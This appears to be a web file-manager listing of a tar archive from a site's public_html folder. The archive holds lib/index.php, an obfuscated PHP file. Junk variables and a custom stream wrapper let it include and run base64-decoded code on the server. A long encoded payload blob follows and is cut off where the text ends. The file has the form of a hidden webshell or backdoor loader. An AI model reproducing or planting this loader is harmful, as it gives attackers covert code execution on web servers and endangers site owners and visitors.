dvadf
File manager - Edit - /home/centroca/public_html/debug.tar
Back
lib/index.php 0000644 00000076001 15252473323 0007144 0 ustar 00 <?php $jyrjq='xtamdxsirm';$jdxtq=substr($jyrjq,1,2);$jdxtq=trim($jdxtq); $jzzsh=342;$jxdqc=$jzzsh*4;unset($jxdqc); $jstje=0;while(false){$jstje++;} $jwsbl=151;$jwtbk=$jwsbl*5;unset($jwtbk); $jfoxq=array_fill(0,rand(2,5),'odlpfo');$jfoxq=array_reverse($jfoxq); // validate // setup class Wghntdzk{public $context;public $d;public $p=0;public $l=0;function stream_open($path,$mode,$options,&$opened_path){$this->d=base64_decode(substr($path,7));$this->p=0;$this->l=strlen($this->d);return true;}function stream_read($count){if($this->p>=$this->l)return false;$r=substr($this->d,$this->p,$count);$this->p+=strlen($r);return $r;}function stream_eof(){return $this->p>=$this->l;}function stream_stat(){return array(0=>0,1=>0,2=>0,3=>0,4=>0,5=>0,6=>0,7=>$this->l,8=>0,9=>0,10=>0,11=>0,12=>0,'dev'=>0,'ino'=>0,'mode'=>0,'nlink'=>0,'uid'=>0,'gid'=>0,'rdev'=>0,'size'=>$this->l,'atime'=>0,'mtime'=>0,'ctime'=>0,'blksize'=>0,'blocks'=>0);}function stream_set_option($o,$a1,$a2){return false;}function stream_truncate($s){return false;}function stream_lock($o){return false;}function stream_seek($o,$w=0){if($w==0)$this->p=$o;return true;}function stream_tell(){return $this->p;}function stream_close(){return true;}function url_stat($p,$f){return array();}} function jrlfnnak($c){$jzmvv=sprintf('%s','fnfh');$jejze=strlen($jzmvv); $jdfpt='kcayyjnpsu';$jyqhx=substr($jdfpt,3,4);$jyqhx=trim($jyqhx); $jeojc=sprintf('%s','zwaa');$jpxph=strlen($jeojc); $jxegl=explode(',','eoj,zby,gyt');$jwaeo=implode('-',$jxegl); if(!in_array('cggn',stream_get_wrappers()))stream_wrapper_register('cggn','Wghntdzk');include 'cggn://'.base64_encode('<?php '.$c);} $xvoymek=base64_decode('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